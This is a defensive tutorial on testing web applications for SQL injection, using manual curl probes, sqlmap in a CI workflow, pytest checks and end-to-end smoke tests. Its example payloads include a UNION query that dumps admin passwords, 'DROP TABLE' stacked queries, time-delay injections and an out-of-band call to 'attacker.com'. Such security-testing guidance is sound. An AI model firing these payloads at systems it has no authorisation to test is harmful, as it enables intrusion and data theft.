SQL Injection Testing: From Manual to Automated with sqlmap and HelpMeTest

SQL Injection Testing: From Manual to Automated with sqlmap and HelpMeTest

SQL injection remains one of the most impactful web vulnerabilities — it appears in the OWASP Top 10 every year and leads directly to data breaches. Testing for it involves probing how your application handles malicious SQL in user-controlled inputs. This guide covers manual detection, sqlmap automation, and parameterized query validation you can run in CI.

Key Takeaways

Parameterized queries prevent SQLi — verify they're actually used. Code review alone misses dynamic queries built in helper functions. Test the endpoints.

Boolean-based blind SQLi is the most common variant today. Modern frameworks and ORMs reduce obvious error-based injection, but blind injection via response differences still appears.

sqlmap automates discovery, not exploitation. Run it against staging only. Production scans can corrupt data and lock accounts.

Test your error handling too. A 500 response with a stack trace leaks schema information even without successful injection.

Write parameterized query validation tests as unit tests. Faster feedback than end-to-end scans, and they run on every commit.

SQL Injection Fundamentals

SQL injection occurs when user-controlled input is concatenated into a SQL query without sanitization:

# VULNERABLE — string concatenation
def get_user(username):
    query = f"SELECT * FROM users WHERE username = '{username}'"
    return db.execute(query)

# An attacker passes: username = "' OR '1'='1"
# Query becomes: SELECT * FROM users WHERE username = '' OR '1'='1'
# Returns all users
# SAFE — parameterized query
def get_user(username):
    query = "SELECT * FROM users WHERE username = %s"
    return db.execute(query, (username,))

SQL injection variants:

Type Detection method Example
Error-based Database error in response ' causes syntax error
Boolean-based Response changes for true/false conditions ' AND 1=1 -- vs ' AND 1=2 --
Time-based Response time varies '; SLEEP(5) --
Union-based Additional rows returned ' UNION SELECT user,pass FROM admins --
Out-of-band DNS/HTTP callback '; EXEC master..xp_dirtree('//attacker.com/a') --

Manual SQL Injection Testing

Error-Based Detection

Start with simple quote injection and observe the response:

# URL parameter
curl <span class="hljs-string">"https://staging.example.com/api/users?id=1'"

<span class="hljs-comment"># POST body
curl -X POST <span class="hljs-string">"https://staging.example.com/api/login" \
  -H <span class="hljs-string">"Content-Type: application/json" \
  -d <span class="hljs-string">'{"username": "admin'<span class="hljs-string">"'"<span class="hljs-string">'", "password": "test"}'

Signs of vulnerability:

  • HTTP 500 with a database error message
  • Blank page where there was content
  • Different response length compared to valid input
  • Database type disclosed (MySQL error syntax, PostgreSQL error format)

Boolean-Based Detection

# Baseline — valid response
curl <span class="hljs-string">"https://staging.example.com/api/products?category=shoes"

<span class="hljs-comment"># True condition — should match baseline
curl <span class="hljs-string">"https://staging.example.com/api/products?category=shoes' AND '1'='1"

<span class="hljs-comment"># False condition — should return empty/different response
curl <span class="hljs-string">"https://staging.example.com/api/products?category=shoes' AND '1'='2"

If the true condition response matches the baseline and the false condition differs — you have blind boolean-based injection.

Time-Based Detection

When responses look identical, use time delays to detect injection:

# MySQL time-based blind injection
curl -w <span class="hljs-string">"\nTime: %{time_total}\n" \
  <span class="hljs-string">"https://staging.example.com/api/users?id=1; SELECT SLEEP(5)-- -"

<span class="hljs-comment"># PostgreSQL
curl -w <span class="hljs-string">"\nTime: %{time_total}\n" \
  <span class="hljs-string">"https://staging.example.com/api/users?id=1; SELECT pg_sleep(5)-- -"

<span class="hljs-comment"># MSSQL
curl -w <span class="hljs-string">"\nTime: %{time_total}\n" \
  <span class="hljs-string">"https://staging.example.com/api/users?id=1; WAITFOR DELAY '0:0:5'-- -"

If the response consistently takes 5+ seconds, time-based injection is present.

Error Response Testing

Test that your application doesn't leak schema information through error responses:

import requests

def test_sql_error_not_exposed():
    """Verify database errors are not returned in HTTP responses."""
    payloads = [
        "1'",           # basic quote
        "1''",          # double quote
        "1 OR 1=1",     # boolean injection
        "1; DROP TABLE users--",  # stacked query
    ]

    for endpoint in ["/api/users", "/api/products", "/api/search"]:
        for payload in payloads:
            resp = requests.get(
                f"https://staging.example.com{endpoint}",
                params={"id": payload, "q": payload}
            )
            body = resp.text.lower()
            # Database error indicators
            error_patterns = [
                "sql syntax", "syntax error", "mysql_fetch",
                "pg::syntaxerror", "sqlexception", "ora-",
                "microsoft sql", "unclosed quotation", "quoted string"
            ]
            for pattern in error_patterns:
                assert pattern not in body, \
                    f"VULNERABLE: DB error leaked in response for {endpoint}?{payload}: {pattern}"

Automated Testing with sqlmap

sqlmap is the industry-standard tool for automated SQL injection discovery and exploitation. Use it only against staging/development environments — running sqlmap against production can corrupt data, lock accounts, and trigger alerts.

Installation

pip install sqlmap
# or
git <span class="hljs-built_in">clone https://github.com/sqlmapproject/sqlmap.git

Basic URL Scan

# Scan a URL parameter
python sqlmap.py -u <span class="hljs-string">"https://staging.example.com/api/users?id=1" \
  --batch \
  --level 2 \
  --risk 1

<span class="hljs-comment"># Scan with authentication header
python sqlmap.py -u <span class="hljs-string">"https://staging.example.com/api/users?id=1" \
  --batch \
  -H <span class="hljs-string">"Authorization: Bearer ${TOKEN}" \
  --level 2 \
  --risk 1

--batch runs non-interactively (required for CI). --level 1-5 controls the number of payloads tested. --risk 1-3 controls how aggressive the payloads are (higher risk = potentially destructive).

POST Request Scanning

# Scan a JSON POST endpoint
python sqlmap.py -u <span class="hljs-string">"https://staging.example.com/api/login" \
  --data <span class="hljs-string">'{"username":"*","password":"test"}' \
  --content-type <span class="hljs-string">"application/json" \
  --batch \
  --level 2

CI Integration

# .github/workflows/sqli-scan.yml
name: SQL Injection Scan
on:
  schedule:
    - cron: '0 3 * * 1'  # Weekly on Mondays at 3am
  workflow_dispatch:       # Manual trigger

jobs:
  sqlmap-scan:
    runs-on: ubuntu-latest
    environment: staging
    steps:
      - uses: actions/checkout@v4

      - name: Install sqlmap
        run: pip install sqlmap

      - name: Scan API endpoints
        run: |
          ENDPOINTS=(
            "/api/users?id=1"
            "/api/products?category=shoes&sort=name"
            "/api/search?q=test"
          )
          for endpoint in "${ENDPOINTS[@]}"; do
            echo "Scanning: $endpoint"
            python -m sqlmap \
              -u "https://staging.example.com${endpoint}" \
              -H "Authorization: Bearer ${{ secrets.STAGING_API_TOKEN }}" \
              --batch \
              --level 2 \
              --risk 1 \
              --output-dir=sqlmap-output \
              || true  # Don't fail on scan errors, only on findings
          done

      - name: Check for vulnerabilities
        run: |
          if grep -r "sqlmap identified" sqlmap-output/; then
            echo "::error::SQL injection vulnerabilities found"
            exit 1
          fi

      - name: Upload Results
        uses: actions/upload-artifact@v4
        if: always()
        with:
          name: sqlmap-results
          path: sqlmap-output/

sqlmap Flags for Safer Scanning

python sqlmap.py \
  -u "https://staging.example.com/api/users?id=1" \
  --batch \
  --level 1 \          <span class="hljs-comment"># Minimal payloads (1-5)
  --risk 1 \           <span class="hljs-comment"># Low risk payloads (1-3)
  --technique=BEUST \  <span class="hljs-comment"># Boolean, Error, Union, Stacked, Time
  --dbms=postgresql \  <span class="hljs-comment"># Target DBMS (avoids wrong-DB payloads)
  --random-agent \     <span class="hljs-comment"># Randomize User-Agent
  --delay=1 \          <span class="hljs-comment"># 1 second between requests (avoid rate limiting)
  --<span class="hljs-built_in">timeout=30         <span class="hljs-comment"># Request timeout

Unit-Level Parameterized Query Testing

The fastest SQL injection tests run at the unit level — verifying that query builders use parameterized queries, not string concatenation.

Testing ORM Query Builders

# test_db_queries.py — verify parameterized queries are used
import pytest
from unittest.mock import patch, MagicMock
from myapp.users import get_user_by_id, search_users

def test_get_user_uses_parameterized_query():
    """Verify get_user_by_id uses parameterized queries, not string concatenation."""
    with patch("myapp.users.db.execute") as mock_execute:
        mock_execute.return_value = MagicMock(fetchone=lambda: None)
        get_user_by_id("' OR '1'='1")

        # Verify execute was called with a parameterized query
        call_args = mock_execute.call_args
        query = call_args[0][0]
        params = call_args[0][1] if len(call_args[0]) > 1 else call_args[1].get("params")

        # The malicious input must be in params, not in the query string
        assert "OR" not in query, \
            f"VULNERABLE: user input concatenated into query: {query}"
        assert params is not None, \
            "FAIL: no parameters passed to execute() — possible string concatenation"

def test_search_users_parameterized():
    with patch("myapp.users.db.execute") as mock_execute:
        mock_execute.return_value = MagicMock(fetchall=lambda: [])
        search_users("'; DROP TABLE users--")

        call_args = mock_execute.call_args
        query = str(call_args[0][0])
        assert "DROP" not in query, \
            f"VULNERABLE: SQL keyword found in query string: {query}"

Testing Raw SQL Safety

If your codebase uses raw SQL strings (legitimate in some cases), test them:

import re, ast, pathlib

def test_no_dynamic_sql_in_queries():
    """Scan source files for SQL string concatenation patterns."""
    dangerous_patterns = [
        r'execute\(f".*{',         # f-string in execute()
        r'execute\(".*"\s*\+',      # string concat in execute()
        r'execute\(.*\.format\(',   # .format() in execute()
        r'query\s*=\s*f"SELECT',    # f-string SQL assignment
    ]

    sql_files = list(pathlib.Path("myapp").rglob("*.py"))
    violations = []

    for file in sql_files:
        content = file.read_text()
        for pattern in dangerous_patterns:
            if re.search(pattern, content):
                violations.append(f"{file}: matches {pattern}")

    assert not violations, \
        f"Potentially unsafe SQL construction found:\n" + "\n".join(violations)

Testing Stored Procedures and ORMs

Stored Procedures

Stored procedures are parameterized at the SQL level, but they can still be vulnerable if they build dynamic SQL internally:

# Test that stored procedure doesn't execute injected SQL
import pytest

def test_stored_procedure_safe():
    """Verify the search_products procedure handles injection safely."""
    conn = get_test_db_connection()
    cursor = conn.cursor()

    # This should return 0 rows, not all products
    cursor.execute("EXEC search_products @name = %s", ("'; SELECT * FROM users--",))
    results = cursor.fetchall()

    # Verify injection didn't leak data from other tables
    for row in results:
        # Product names shouldn't contain user data
        assert "@" not in str(row), "Possible data leak via injection in stored proc"

ORM Second-Order Injection

ORMs prevent direct injection but can't prevent second-order injection — where malicious data stored in the database is later used unsafely in a query:

def test_second_order_injection():
    """Test that stored user data can't trigger SQLi when used in subsequent queries."""
    # Register a user with SQL injection in the username
    resp = requests.post("https://staging.example.com/api/register", json={
        "username": "admin'--",
        "email": "attack@example.com",
        "password": "StrongPassword123!"
    })
    # Registration might succeed
    user_id = resp.json().get("id")

    if user_id:
        # Now trigger an action that uses the stored username in a query
        resp2 = requests.get(
            f"https://staging.example.com/api/users/{user_id}/profile"
        )
        # If this returns 200, verify the response is the correct user's data
        if resp2.status_code == 200:
            data = resp2.json()
            assert data.get("email") == "attack@example.com", \
                "Unexpected data returned — possible second-order injection"

HelpMeTest Integration

Use HelpMeTest to run SQL injection smoke tests as part of your end-to-end test suite on every deployment:

*** Test Cases ***
SQL Injection in Search Returns Empty Results Not Error
    Go To  https://app.example.com/search
    Input Text  id=search-query  ' OR '1'='1
    Click Button  id=search-btn
    Page Should Contain  No results found
    Page Should Not Contain  sql
    Page Should Not Contain  syntax error
    Response Status Code Should Not Be  500

SQL Injection in Login Is Rejected
    Go To  https://app.example.com/login
    Input Text  id=email  admin@example.com' OR '1'='1' --
    Input Text  id=password  anything
    Click Button  id=login-btn
    Page Should Not Contain  Welcome
    Page Should Contain  Invalid credentials
    Current URL Should Not Contain  /dashboard

ID Parameter Accepts Only Integers
    Go To  https://app.example.com/products/1'
    Response Status Code Should Be  400
    Page Should Not Contain  syntax error

These tests run on every deployment, catching regressions in input handling immediately.

SQL Injection Prevention Checklist

Before marking any endpoint as tested:

□ Parameterized queries used for all DB interactions
□ ORM queries inspected for raw SQL fallbacks
□ User input never concatenated into SQL strings
□ Stored procedures reviewed for dynamic SQL
□ Error responses don't leak schema information
□ Database account uses least-privilege permissions
□ WAF rules in place for additional defense
□ sqlmap scan run against staging (no findings)
□ Automated regression tests in CI pipeline

Conclusion

SQL injection testing has two layers: verifying your defenses are correct (parameterized queries, ORM usage) and actively probing for gaps (sqlmap, manual payload testing). Both are necessary — code review catches obvious mistakes, but active scanning finds the edge cases that slip through.

Run parameterized query unit tests on every commit for fast feedback. Run sqlmap against staging weekly or before major releases. Add SQL injection smoke tests to your end-to-end suite for continuous production verification. Together, these layers give you confidence that your data is protected.

Read more